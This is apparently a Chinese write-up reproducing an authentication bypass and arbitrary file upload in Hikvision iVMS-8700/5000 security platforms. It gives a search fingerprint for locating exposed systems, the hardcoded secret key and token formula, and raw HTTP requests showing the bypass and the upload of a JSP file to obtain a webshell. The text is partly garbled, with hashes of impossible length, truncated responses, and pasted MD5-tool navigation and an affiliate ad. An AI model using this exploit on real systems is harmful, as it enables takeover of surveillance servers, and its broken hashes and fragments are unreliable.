

# H13-3海康威视-iVMS-8700综合安防管理平台-文件上传

## 漏洞描述:

海康威视iVMS系统存在在野 0day 漏洞, 攻击者通过获取密钥任意构造token, 请求/resourceOperations/upload接口任意上传文件, 导致获取服务器[webshell] (https://so.csdn.net/so/search?q=webshell&spm=)

## 影响版本:

海康威视综合安防系统iVMS-5000  
海康威视综合安防系统 iVMS-8700

## 网站图片:



## 网络测绘:

### fofa语法:

鹰图指纹: web.body="/views/home/file/installPackage.rar"

## 漏洞复现:

```
POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62
```

service=http%3A%2F%2Fxx.xx%3A%2Fhome%2Findex.action

构造token绕过认证 (内部机制: 如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的 (默认值: secretKeybuilding)

token值需要进行MD5加密 (32位大写)

组合: token=MD5(url+secretKeybuilding)



推荐使用api.cn即享订单3%返佣



JSON在线工具 ▼ 加密 / 解密 ▼ 压缩 / 格式化 ▼ 文档 ▼ 前端 ▼ 转换 ▼ 单位换算 ▼ 二维码工具 ▼ 正则 ▼ 站长工具 ▼ HTTP ▼

首页 / 加密 & 解密 / MD5加密 & MD5解密

加密/解密 AES加密/解密 DES加密/解密 RC4加密/解密 Rabbit加密/解密 TripleDes加密/解密 MD5加/解密 Bas

http://[redacted]/eps/api/resourceOperations/uploadsecretKey/building

32位大写5EAC06C88532E666FE4AA41BE90F2825536ED109CDD

32位小写5eac60c6f7ef3ce0f2825536ed109cdd

16位大写F7EF3CE0F2825536

16位小写f7ef3ce0f2825536

## 重新验证

Request

Pretty Raw Hex \n

```
1 POST /eps/api/resourceOperations/upload?token=5EAC06C88532E666FE4AA41BE90F2825536ED109CDD
2 HTTP/1.1
3 Host: [redacted]:85
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Referer: [redacted]/
9 Connection: close
10 Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
11 Upgrade-Insecure-Requests: 1
12 Content-Length: 62
```

可以看到, 成功绕过  
构造文件上传payload

```
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

Response

Pretty Raw Hex Render \n

```
1 HTTP/1.1 200 OK
2 Set-Cookie: ISMS_8700_Sessionname=2BC2D143A81474CB8E2007AA5E4DD97F; Path=/
3 Content-Type: text/html; charset=utf-8
4 Content-Length: 85
5 Date: Mon, 22 May 2023 07:53:46 GMT
6 Connection: close
7 Server:
8
9 {"success": false, "message": "000000000:000000000000", "data": null}
```

```
Request
```

PrettyRawHex

```
1 POST /eps/api/resourceOperations/upload?token=5AC08E9A7C6D5B56ED109CDD HTTP/1.1
2 Host: 192.168.1.103
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Connection: close
7 Cookie: ISMS_8700_Sessionname=AC9E70BEAFDA82E2CF0805C3A389988
8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGEJwiloioP
9 Upgrade-Insecure-Requests: 1
10 Content-Length: 174
11 
12 ----WebKitFormBoundaryGEJwiloioP
13 Content-Disposition: form-data; name="fileUploader"; filename="1.jpg"
14 Content-Type: image/jpeg
```

← → ↻ ⚠ 不安全 | 35/eps/upload/cc02e7b15cf140a69126d9d996286a8f.jsp

**Response**

```
Pretty Raw Hex Render \n ≡
```

```
1
2 :ionname=C0EBE82ADC13ADDCD2F7AA32F6EB1C8C; Path=/; HttpOnly
3 charset=utf-8
4
5 :31:26 GMT
6
7
8
9 :{"":"","data":{"uid":null,"resourceUid":"cc02e7b15cf140a69126d9d5959e
```

100